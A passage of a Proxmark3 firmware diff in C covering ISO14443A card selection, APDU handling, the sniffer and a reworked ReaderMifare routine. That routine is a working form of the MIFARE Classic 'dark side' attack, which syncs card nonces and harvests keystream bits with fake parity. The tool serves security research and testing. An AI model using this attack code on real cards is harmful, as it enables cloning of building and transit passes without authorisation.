+ memcpy(uid_resp, uid_resp + 1, 3);
+ uid_resp_len = 3;
+ }
+
+ if(uid_ptr) {
+ memcpy(uid_ptr + (cascade_level*3), uid_resp, uid_resp_len);
+ }
+
+ if(p_hi14a_card) {
+ memcpy(p_hi14a_card->uid + (cascade_level*3), uid_resp, uid_resp_len);
+ p_hi14a_card->uidlen += uid_resp_len;
+ }
+ }
- // Receive the SAK
- if (!ReaderReceive(resp)) return 0;
- sak = resp[0];
- }
- if(resp_data) {
- resp_data->sak = sak;
- resp_data->ats_len = 0;
- }
- //-- this byte not UID, it CT. http://www.nxp.com/documents/application_note/AN10927.pdf page 3
- if (uid_ptr[0] == 0x88) {
- memcpy(uid_ptr, uid_ptr + 1, 7);
- uid_ptr[7] = 0;
- }
+ if(p_hi14a_card) {
+ p_hi14a_card->sak = sak;
+ p_hi14a_card->ats_len = 0;
+ }
- if( (sak & 0x20) == 0)
- return 2; // non iso14443a compliant tag
+ if( (sak & 0x20) == 0) {
+ return 2; // non iso14443a compliant tag
+ }
- // Request for answer to select
- if(resp_data) { // JCOP cards - if reader sent RATS then there is no MIFARE session at all!!!
- AppendCrc14443a(rats, 2);
- ReaderTransmit(rats, sizeof(rats));
-
- if (!(len = ReaderReceive(resp))) return 0;
-
- memcpy(resp_data->ats, resp, sizeof(resp_data->ats));
- resp_data->ats_len = len;
- }
+ // Request for answer to select
+ AppendCrc14443a(rats, 2);
+ ReaderTransmit(rats, sizeof(rats), NULL);
+
+ if (!(len = ReaderReceive(resp))) return 0;
+
+ if(p_hi14a_card) {
+ memcpy(p_hi14a_card->ats, resp, sizeof(p_hi14a_card->ats));
+ p_hi14a_card->ats_len = len;
+ }
- return 1;
+ // reset the PCB block number
+ iso14_pcb_blocknum = 0;
+ return 1;
}
void iso14443a_setup() {
- // Setup SSC
+ // Set up the synchronous serial port
FpgaSetupSsc();
// Start from off (no field generated)
// Signal field is off with the appropriate LED
- LED_D_OFF();
- FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
- SpinDelay(200);
+// LED_D_OFF();
+// FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
+ // SpinDelay(50);
SetAdcMuxFor(GPIO_MUXSEL_HIPKD);
// Signal field is on with the appropriate LED
LED_D_ON();
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
- SpinDelay(200);
+ SpinDelay(7); // iso14443-3 specifies 5ms max.
iso14a_timeout = 2048; //default
}
int iso14_apdu(uint8_t * cmd, size_t cmd_len, void * data) {
uint8_t real_cmd[cmd_len+4];
real_cmd[0] = 0x0a; //I-Block
+ // put block number into the PCB
+ real_cmd[0] |= iso14_pcb_blocknum;
real_cmd[1] = 0x00; //CID: 0 //FIXME: allow multiple selected cards
memcpy(real_cmd+2, cmd, cmd_len);
AppendCrc14443a(real_cmd,cmd_len+2);
- ReaderTransmit(real_cmd, cmd_len+4);
+ ReaderTransmit(real_cmd, cmd_len+4, NULL);
size_t len = ReaderReceive(data);
- if(!len)
- return -1; //DATA LINK ERROR
-
+ uint8_t * data_bytes = (uint8_t *) data;
+ if (!len)
+ return 0; //DATA LINK ERROR
+ // if we received an I- or R(ACK)-Block with a block number equal to the
+ // current block number, toggle the current block number
+ else if (len >= 4 // PCB+CID+CRC = 4 bytes
+ && ((data_bytes[0] & 0xC0) == 0 // I-Block
+ || (data_bytes[0] & 0xD0) == 0x80) // R-Block with ACK bit set to 0
+ && (data_bytes[0] & 0x01) == iso14_pcb_blocknum) // equal block numbers
+ {
+ iso14_pcb_blocknum ^= 1;
+ }
+
return len;
}
-
//-----------------------------------------------------------------------------
// Read an ISO 14443a tag. Send out commands and store answers.
//
//-----------------------------------------------------------------------------
-void ReaderIso14443a(UsbCommand * c, UsbCommand * ack)
+void ReaderIso14443a(UsbCommand * c)
{
iso14a_command_t param = c->arg[0];
uint8_t * cmd = c->d.asBytes;
size_t len = c->arg[1];
-
- if(param & ISO14A_REQUEST_TRIGGER) iso14a_set_trigger(1);
+ uint32_t arg0 = 0;
+ byte_t buf[USB_CMD_DATA_SIZE];
+
+ iso14a_clear_trace();
+ iso14a_set_tracing(true);
+
+ if(param & ISO14A_REQUEST_TRIGGER) {
+ iso14a_set_trigger(1);
+ }
if(param & ISO14A_CONNECT) {
iso14443a_setup();
- ack->arg[0] = iso14443a_select_card(ack->d.asBytes, (iso14a_card_select_t *) (ack->d.asBytes+12), NULL);
- UsbSendPacket((void *)ack, sizeof(UsbCommand));
+ arg0 = iso14443a_select_card(NULL, (iso14a_card_select_t*)buf, NULL);
+ cmd_send(CMD_ACK,arg0,0,0,buf,sizeof(iso14a_card_select_t));
}
if(param & ISO14A_SET_TIMEOUT) {
}
if(param & ISO14A_APDU) {
- ack->arg[0] = iso14_apdu(cmd, len, ack->d.asBytes);
- UsbSendPacket((void *)ack, sizeof(UsbCommand));
+ arg0 = iso14_apdu(cmd, len, buf);
+ cmd_send(CMD_ACK,arg0,0,0,buf,sizeof(buf));
}
if(param & ISO14A_RAW) {
AppendCrc14443a(cmd,len);
len += 2;
}
- ReaderTransmit(cmd,len);
- ack->arg[0] = ReaderReceive(ack->d.asBytes);
- UsbSendPacket((void *)ack, sizeof(UsbCommand));
+ ReaderTransmit(cmd,len, NULL);
+ arg0 = ReaderReceive(buf);
+ cmd_send(CMD_ACK,arg0,0,0,buf,sizeof(buf));
}
- if(param & ISO14A_REQUEST_TRIGGER) iso14a_set_trigger(0);
+ if(param & ISO14A_REQUEST_TRIGGER) {
+ iso14a_set_trigger(0);
+ }
- if(param & ISO14A_NO_DISCONNECT)
+ if(param & ISO14A_NO_DISCONNECT) {
return;
+ }
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
LEDsoff();
}
+
+
+// Determine the distance between two nonces.
+// Assume that the difference is small, but we don't know which is first.
+// Therefore try in alternating directions.
+int32_t dist_nt(uint32_t nt1, uint32_t nt2) {
+
+ uint16_t i;
+ uint32_t nttmp1, nttmp2;
+
+ if (nt1 == nt2) return 0;
+
+ nttmp1 = nt1;
+ nttmp2 = nt2;
+
+ for (i = 1; i < 32768; i++) {
+ nttmp1 = prng_successor(nttmp1, 1);
+ if (nttmp1 == nt2) return i;
+ nttmp2 = prng_successor(nttmp2, 1);
+ if (nttmp2 == nt1) return -i;
+ }
+
+ return(-99999); // either nt1 or nt2 are invalid nonces
+}
+
+
//-----------------------------------------------------------------------------
-// Read an ISO 14443a tag. Send out commands and store answers.
-//
+// Recover several bits of the cypher stream. This implements (first stages of)
+// the algorithm described in "The Dark Side of Security by Obscurity and
+// Cloning MiFare Classic Rail and Building Passes, Anywhere, Anytime"
+// (article by Nicolas T. Courtois, 2009)
//-----------------------------------------------------------------------------
-void ReaderMifare(uint32_t parameter)
+void ReaderMifare(bool first_try)
{
// Mifare AUTH
uint8_t mf_auth[] = { 0x60,0x00,0xf5,0x7b };
uint8_t mf_nr_ar[] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
+ static uint8_t mf_nr_ar3;
- uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + 3560); // was 3560 - tied to other size changes
+ uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET);
traceLen = 0;
tracing = false;
- iso14443a_setup();
-
- LED_A_ON();
- LED_B_OFF();
- LED_C_OFF();
-
byte_t nt_diff = 0;
- LED_A_OFF();
byte_t par = 0;
//byte_t par_mask = 0xff;
- byte_t par_low = 0;
- int led_on = TRUE;
- uint8_t uid[8];
+ static byte_t par_low = 0;
+ bool led_on = TRUE;
+ uint8_t uid[10];
uint32_t cuid;
- tracing = FALSE;
- byte_t nt[4] = {0,0,0,0};
- byte_t nt_attacked[4], nt_noattack[4];
+ uint32_t nt, previous_nt;
+ static uint32_t nt_attacked = 0;
byte_t par_list[8] = {0,0,0,0,0,0,0,0};
byte_t ks_list[8] = {0,0,0,0,0,0,0,0};
- num_to_bytes(parameter, 4, nt_noattack);
- int isOK = 0, isNULL = 0;
- while(TRUE)
- {
- LED_C_ON();
- FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
- SpinDelay(200);
- FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
- LED_C_OFF();
+ static uint32_t sync_time;
+ static uint32_t sync_cycles;
+ int catch_up_cycles = 0;
+ int last_catch_up = 0;
+ uint16_t consecutive_resyncs = 0;
+ int isOK = 0;
+
+
+
+ if (first_try) {
+ StartCountMifare();
+ mf_nr_ar3 = 0;
+ iso14443a_setup();
+ while((GetCountMifare() & 0xffff0000) != 0x10000); // wait for counter to reset and "warm up"
+ sync_time = GetCountMifare() & 0xfffffff8;
+ sync_cycles = 65536; // theory: Mifare Classic's random generator repeats every 2^16 cycles (and so do the nonces).
+ nt_attacked = 0;
+ nt = 0;
+ par = 0;
+ }
+ else {
+ // we were unsuccessful on a previous call. Try another READER nonce (first 3 parity bits remain the same)
+ // nt_attacked = prng_successor(nt_attacked, 1);
+ mf_nr_ar3++;
+ mf_nr_ar[3] = mf_nr_ar3;
+ par = par_low;
+ }
+
+ LED_A_ON();
+ LED_B_OFF();
+ LED_C_OFF();
+
+
+ for(uint16_t i = 0; TRUE; i++) {
+
+ WDT_HIT();
// Test if the action was cancelled
if(BUTTON_PRESS()) {
break;
}
+
+ LED_C_ON();
- if(!iso14443a_select_card(uid, NULL, &cuid)) continue;
+ if(!iso14443a_select_card(uid, NULL, &cuid)) {
+ if (MF_DBGLEVEL >= 1) Dbprintf("Mifare: Can't select card");
+ continue;
+ }
- // Transmit MIFARE_CLASSIC_AUTH
- ReaderTransmit(mf_auth, sizeof(mf_auth));
+ //keep the card active
+ FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
- // Receive the (16 bit) "random" nonce
- if (!ReaderReceive(receivedAnswer)) continue;
- memcpy(nt, receivedAnswer, 4);
+ // CodeIso14443aBitsAsReaderPar(mf_auth, sizeof(mf_auth)*8, GetParity(mf_auth, sizeof(mf_auth)*8));
- // Transmit reader nonce and reader answer
- ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar),par);
+ sync_time = (sync_time & 0xfffffff8) + sync_cycles + catch_up_cycles;
+ catch_up_cycles = 0;
- // Receive 4 bit answer
- if (ReaderReceive(receivedAnswer))
- {
- if ( (parameter != 0) && (memcmp(nt, nt_noattack, 4) == 0) ) continue;
+ // if we missed the sync time already, advance to the next nonce repeat
+ while(GetCountMifare() > sync_time) {
+ sync_time = (sync_time & 0xfffffff8) + sync_cycles;
+ }
+
+ // Transmit MIFARE_CLASSIC_AUTH at synctime. Should result in returning the same tag nonce (== nt_attacked)
+ ReaderTransmit(mf_auth, sizeof(mf_auth), &sync_time);
+
+ // Receive the (4 Byte) "random" nonce
+ if (!ReaderReceive(receivedAnswer)) {
+ if (MF_DBGLEVEL >= 1) Dbprintf("Mifare: Couldn't receive tag nonce");
+ continue;
+ }
- isNULL = !(nt_attacked[0] == 0) && (nt_attacked[1] == 0) && (nt_attacked[2] == 0) && (nt_attacked[3] == 0);
- if ( (isNULL != 0 ) && (memcmp(nt, nt_attacked, 4) != 0) ) continue;
+ previous_nt = nt;
+ nt = bytes_to_num(receivedAnswer, 4);
+ // Transmit reader nonce with fake par
+ ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar), par, NULL);
+
+ if (first_try && previous_nt && !nt_attacked) { // we didn't calibrate our clock yet
+ int nt_distance = dist_nt(previous_nt, nt);
+ if (nt_distance == 0) {
+ nt_attacked = nt;
+ }
+ else {
+ if (nt_distance == -99999) { // invalid nonce received, try again
+ continue;
+ }
+ sync_cycles = (sync_cycles - nt_distance);
+ if (MF_DBGLEVEL >= 3) Dbprintf("calibrating in cycle %d. nt_distance=%d, Sync_cycles: %d\n", i, nt_distance, sync_cycles);
+ continue;
+ }
+ }
+
+ if ((nt != nt_attacked) && nt_attacked) { // we somehow lost sync. Try to catch up again...
+ catch_up_cycles = -dist_nt(nt_attacked, nt);
+ if (catch_up_cycles == 99999) { // invalid nonce received. Don't resync on that one.
+ catch_up_cycles = 0;
+ continue;
+ }
+ if (catch_up_cycles == last_catch_up) {
+ consecutive_resyncs++;
+ }
+ else {
+ last_catch_up = catch_up_cycles;
+ consecutive_resyncs = 0;
+ }
+ if (consecutive_resyncs < 3) {
+ if (MF_DBGLEVEL >= 3) Dbprintf("Lost sync in cycle %d. nt_distance=%d. Consecutive Resyncs = %d. Trying one time catch up...\n", i, -catch_up_cycles, consecutive_resyncs);
+ }
+ else {
+ sync_cycles = sync_cycles + catch_up_cycles;
+ if (MF_DBGLEVEL >= 3) Dbprintf("Lost sync in cycle %d for the fourth time consecutively (nt_distance = %d). Adjusting sync_cycles to %d.\n", i, -catch_up_cycles, sync_cycles);
+ }
+ continue;
+ }
+
+ consecutive_resyncs = 0;
+
+ // Receive answer. This will be a 4 Bit NACK when the 8 parity bits are OK after decoding
+ if (ReaderReceive(receivedAnswer))
+ {
+ catch_up_cycles = 8; // the PRNG is delayed by 8 cycles due to the NAC (4Bits = 0x05 encrypted) transfer
+
if (nt_diff == 0)
{
- LED_A_ON();
- memcpy(nt_attacked, nt, 4);
- //par_mask = 0xf8;
- par_low = par & 0x07;
+ par_low = par & 0x07; // there is no need to check all parities for other nt_diff. Parity Bits for mf_nr_ar[0..2] won't change
}
led_on = !led_on;
if(led_on) LED_B_ON(); else LED_B_OFF();
+
par_list[nt_diff] = par;
ks_list[nt_diff] = receivedAnswer[0] ^ 0x05;
}
nt_diff = (nt_diff + 1) & 0x07;
- mf_nr_ar[3] = nt_diff << 5;
+ mf_nr_ar[3] = (mf_nr_ar[3] & 0x1F) | (nt_diff << 5);
par = par_low;
} else {
- if (nt_diff == 0)
+ if (nt_diff == 0 && first_try)
{
par++;
} else {
}
}
- LogTrace(nt, 4, 0, GetParity(nt, 4), TRUE);
+ LogTrace((const uint8_t *)&nt, 4, 0, GetParity((const uint8_t *)&nt, 4), TRUE);
LogTrace(par_list, 8, 0, GetParity(par_list, 8), TRUE);
LogTrace(ks_list, 8, 0, GetParity(ks_list, 8), TRUE);
- UsbCommand ack = {CMD_ACK, {isOK, 0, 0}};
- memcpy(ack.d.asBytes + 0, uid, 4);
- memcpy(ack.d.asBytes + 4, nt, 4);
- memcpy(ack.d.asBytes + 8, par_list, 8);
- memcpy(ack.d.asBytes + 16, ks_list, 8);
+ mf_nr_ar[3] &= 0x1F;
+
+ byte_t buf[28];
+ memcpy(buf + 0, uid, 4);
+ num_to_bytes(nt, 4, buf + 4);
+ memcpy(buf + 8, par_list, 8);
+ memcpy(buf + 16, ks_list, 8);
+ memcpy(buf + 24, mf_nr_ar, 4);
- LED_B_ON();
- UsbSendPacket((uint8_t *)&ack, sizeof(UsbCommand));
- LED_B_OFF();
+ cmd_send(CMD_ACK,isOK,0,0,buf,28);
// Thats it...
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
LEDsoff();
tracing = TRUE;
-
- if (MF_DBGLEVEL >= 1) DbpString("COMMAND mifare FINISHED");
}
-
//-----------------------------------------------------------------------------
// MIFARE 1K simulate.
//
// MIFARE sniffer.
//
//-----------------------------------------------------------------------------
-void RAMFUNC SniffMifare(void) {
+void RAMFUNC SniffMifare(uint8_t param) {
+ // param:
+ // bit 0 - trigger from first card answer
+ // bit 1 - trigger from first reader 7-bit request
+
+ // C(red) A(yellow) B(green)
LEDsoff();
// init trace buffer
- traceLen = 0;
- memset(trace, 0x44, TRACE_SIZE);
-
- // We won't start recording the frames that we acquire until we trigger;
- // a good trigger condition to get started is probably when we see a
- // response from the tag.
- int triggered = FALSE; // FALSE to wait first for card
+ iso14a_clear_trace();
// The command (reader -> tag) that we're receiving.
// The length of a received command will in most cases be no more than 18 bytes.
// The DMA buffer, used to stream samples from the FPGA
int8_t *dmaBuf = ((int8_t *)BigBuf) + DMA_BUFFER_OFFSET;
- int lastRxCounter;
- int8_t *upTo;
- int smpl;
- int maxBehindBy = 0;
+ int8_t *data = dmaBuf;
+ int maxDataLen = 0;
+ int dataLen = 0;
// Set up the demodulator for tag -> reader responses.
Demod.output = receivedResponse;
// Setup for the DMA.
FpgaSetupSsc();
- upTo = dmaBuf;
- lastRxCounter = DMA_BUFFER_SIZE;
FpgaSetupSscDma((uint8_t *)dmaBuf, DMA_BUFFER_SIZE);
// And put the FPGA in the appropriate mode
LED_D_OFF();
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_SNIFFER);
SetAdcMuxFor(GPIO_MUXSEL_HIPKD);
+
+ // init sniffer
+ MfSniffInit();
+ int sniffCounter = 0;
- // Count of samples received so far, so that we can include timing
- // information in the trace buffer.
- rsamples = 0;
// And now we loop, receiving samples.
while(true) {
+ if(BUTTON_PRESS()) {
+ DbpString("cancelled by button");
+ goto done;
+ }
+
LED_A_ON();
WDT_HIT();
- int behindBy = (lastRxCounter - AT91C_BASE_PDC_SSC->PDC_RCR) &
- (DMA_BUFFER_SIZE-1);
- if(behindBy > maxBehindBy) {
- maxBehindBy = behindBy;
- if(behindBy > 400) {
- Dbprintf("blew circular buffer! behindBy=0x%x", behindBy);
+
+ if (++sniffCounter > 65) {
+ if (MfSniffSend(2000)) {
+ FpgaEnableSscDma();
+ }
+ sniffCounter = 0;
+ }
+
+ int register readBufDataP = data - dmaBuf;
+ int register dmaBufDataP = DMA_BUFFER_SIZE - AT91C_BASE_PDC_SSC->PDC_RCR;
+ if (readBufDataP <= dmaBufDataP){
+ dataLen = dmaBufDataP - readBufDataP;
+ } else {
+ dataLen = DMA_BUFFER_SIZE - readBufDataP + dmaBufDataP + 1;
+ }
+ // test for length of buffer
+ if(dataLen > maxDataLen) {
+ maxDataLen = dataLen;
+ if(dataLen > 400) {
+ Dbprintf("blew circular buffer! dataLen=0x%x", dataLen);
goto done;
}
}
- if(behindBy < 1) continue;
+ if(dataLen < 1) continue;
- LED_A_OFF();
-
- smpl = upTo[0];
- upTo++;
- lastRxCounter -= 1;
- if(upTo - dmaBuf > DMA_BUFFER_SIZE) {
- upTo -= DMA_BUFFER_SIZE;
- lastRxCounter += DMA_BUFFER_SIZE;
- AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t) upTo;
+ // primary buffer was stopped( <-- we lost data!
+ if (!AT91C_BASE_PDC_SSC->PDC_RCR) {
+ AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t) dmaBuf;
+ AT91C_BASE_PDC_SSC->PDC_RCR = DMA_BUFFER_SIZE;
+ Dbprintf("RxEmpty ERROR!!! data length:%d", dataLen); // temporary
+ }
+ // secondary buffer sets as primary, secondary buffer was stopped
+ if (!AT91C_BASE_PDC_SSC->PDC_RNCR) {
+ AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t) dmaBuf;
AT91C_BASE_PDC_SSC->PDC_RNCR = DMA_BUFFER_SIZE;
}
+
+ LED_A_OFF();
- rsamples += 4;
- if(MillerDecoding((smpl & 0xF0) >> 4)) {
- LED_C_ON();
- if(triggered) {
- if (!LogTrace(receivedCmd, Uart.byteCnt, -1 * Uart.samples, Uart.parityBits, TRUE)) break;
- }
+ if(MillerDecoding((data[0] & 0xF0) >> 4)) {
+ LED_C_INV();
+ // check - if there is a short 7bit request from reader
+ if (MfSniffLogic(receivedCmd, Uart.byteCnt, Uart.parityBits, Uart.bitCnt, TRUE)) break;
+
/* And ready to receive another command. */
Uart.state = STATE_UNSYNCD;
- /* And also reset the demod code, which might have been */
- /* false-triggered by the commands from the reader. */
+
+ /* And also reset the demod code */
Demod.state = DEMOD_UNSYNCD;
- LED_B_OFF();
}
- if(ManchesterDecoding(smpl & 0x0F)) {
- LED_B_ON();
-
- if (!LogTrace(receivedResponse, Demod.len, -1 * Demod.samples, Demod.parityBits, FALSE)) break;
+ if(ManchesterDecoding(data[0] & 0x0F)) {
+ LED_C_INV();
- triggered = TRUE;
+ if (MfSniffLogic(receivedResponse, Demod.len, Demod.parityBits, Demod.bitCount, FALSE)) break;
// And ready to receive another response.
memset(&Demod, 0, sizeof(Demod));
Demod.output = receivedResponse;
Demod.state = DEMOD_UNSYNCD;
- LED_C_OFF();
+
+ /* And also reset the uart code */
+ Uart.state = STATE_UNSYNCD;
}
- if(BUTTON_PRESS()) {
- DbpString("button cancelled");
- goto done;
+ data++;
+ if(data > dmaBuf + DMA_BUFFER_SIZE) {
+ data = dmaBuf;
}
} // main cycle
DbpString("COMMAND FINISHED");
done:
- AT91C_BASE_PDC_SSC->PDC_PTCR = AT91C_PDC_RXTDIS;
- Dbprintf("maxBehindBy=%x, Uart.state=%x, Uart.byteCnt=%x", maxBehindBy, Uart.state, Uart.byteCnt);
- Dbprintf("Uart.byteCntMax=%x, traceLen=%x, Uart.output[0]=%x", Uart.byteCntMax, traceLen, (int)Uart.output[0]);
+ FpgaDisableSscDma();
+ MfSniffEnd();
+
+ Dbprintf("maxDataLen=%x, Uart.state=%x, Uart.byteCnt=%x Uart.byteCntMax=%x", maxDataLen, Uart.state, Uart.byteCnt, Uart.byteCntMax);
LEDsoff();
-}
\ No newline at end of file
+}
projects / proxmark3-svn / blobdiff